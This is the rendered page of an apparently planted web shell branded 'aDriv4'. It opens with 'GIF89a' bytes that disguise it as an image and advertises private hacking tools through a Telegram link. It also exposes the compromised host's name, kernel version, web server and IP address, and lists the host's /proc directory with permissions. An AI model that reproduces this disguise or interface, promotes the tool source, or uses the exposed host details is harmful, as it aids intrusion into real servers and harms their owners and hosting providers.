GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium231.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 66.29.146.61
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-04-27 08:22:15
.. dir - root/root 0755 2025-08-05 08:27:21
105091 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
107233 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
146414 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
147258 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
147879 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
148625 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
148714 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
152302 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
153255 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
154007 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:32
154111 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:35
154699 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:43
91001 dir - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
acpi dir - root/root 0555 2025-04-27 12:22:18
bus dir - root/root 0555 2025-04-27 12:27:15
driver dir - root/root 0555 2026-01-16 08:50:49
fs dir - root/root 0555 2025-04-27 12:27:15
irq dir - root/root 0555 2025-04-27 12:27:15
kcare dir - root/root 0555 2026-01-16 08:50:49
lve dir - root/root 0555 2026-01-16 08:50:49
net link - rtpljdks/rtpljdks 0555 2026-01-16 08:50:49
scsi dir - root/root 0555 2025-04-27 12:27:15
self link - rtpljdks/rtpljdks 0555 2026-01-16 08:50:30
sys dir - root/root 0555 2025-04-27 12:22:18
sysvipc dir - root/root 0555 2026-01-16 08:50:49
thread-self link - rtpljdks/rtpljdks 0555 2026-01-16 08:50:49
tty dir - root/root 0555 2026-01-16 08:50:49
buddyinfo 0 B root/root 0444 2026-01-16 08:50:49
cgroups 0 B root/root 0444 2026-01-16 08:50:49
cmdline text/plain 0 B root/root 0444 2026-01-16 08:50:49
consoles 0 B root/root 0444 2026-01-16 08:50:49
cpuinfo text/plain 0 B root/root 0444 2026-01-16 08:50:49
crypto 0 B root/root 0444 2026-01-16 08:50:49
devices 0 B root/root 0444 2026-01-16 08:50:49
diskstats 0 B root/root 0444 2026-01-16 08:50:49
dma 0 B root/root 0444 2026-01-16 08:50:49
execdomains 0 B root/root 0444 2026-01-16 08:50:49
fb 0 B root/root 0444 2026-01-16 08:50:49
filesystems text/plain 0 B root/root 0444 2026-01-16 08:50:47
interrupts 0 B root/root 0444 2026-01-16 08:50:49
iomem 0 B root/root 0444 2026-01-16 08:50:49
ioports 0 B root/root 0444 2026-01-16 08:50:49
kallsyms 0 B root/root 0444 2025-04-27 12:27:15
kcore 128 TB root/root 0400 2025-04-27 12:22:18
key-users 0 B root/root 0444 2026-01-16 08:50:49
keys 0 B root/root 0444 2026-01-16 08:50:49
kmsg 0 B root/root 0400 2026-01-16 08:50:49
kpagecgroup 0 B root/root 0400 2026-01-16 08:50:49
kpagecount 0 B root/root 0400 2026-01-16 08:50:49
kpageflags 0 B root/root 0400 2026-01-16 08:50:49
loadavg text/plain 0 B root/root 0444 2026-01-16 08:50:49
locks 0 B root/root 0444 2026-01-16 08:50:49
mdstat 0 B root/root 0444 2026-01-16 08:50:49
meminfo text/plain 0 B root/root 0444 2026-01-16 08:50:49
misc 0 B root/root 0444 2026-01-16 08:50:49
modules 0 B root/root 0444 2026-01-16 08:50:49
mounts text/plain 0 B rtpljdks/rtpljdks 0444 2026-01-16 08:50:49
mtrr 0 B root/root 0644 2025-04-27 12:27:15
pagetypeinfo 0 B root/root 0400 2026-01-16 08:50:49
partitions 0 B root/root 0444 2026-01-16 08:50:49
sched_debug 0 B root/root 0444 2026-01-16 08:50:49
schedstat 0 B root/root 0444 2026-01-16 08:50:49
slabinfo 0 B root/root 0400 2026-01-16 08:50:49
softirqs 0 B root/root 0444 2026-01-16 08:50:49
stat text/plain 0 B root/root 0444 2026-01-16 08:50:48
swaps 0 B root/root 0444 2025-04-27 08:22:16
sysrq-trigger 0 B root/root 0200 2025-04-27 12:27:15
timer_list 0 B root/root 0400 2026-01-16 08:50:49
uptime text/plain 0 B root/root 0444 2026-01-16 08:50:49
version text/plain 0 B root/root 0444 2026-01-16 08:50:49
vmallocinfo 0 B root/root 0400 2026-01-16 08:50:49
vmstat 0 B root/root 0444 2026-01-16 08:50:49
zoneinfo 0 B root/root 0444 2026-01-16 08:50:49
© aDriv4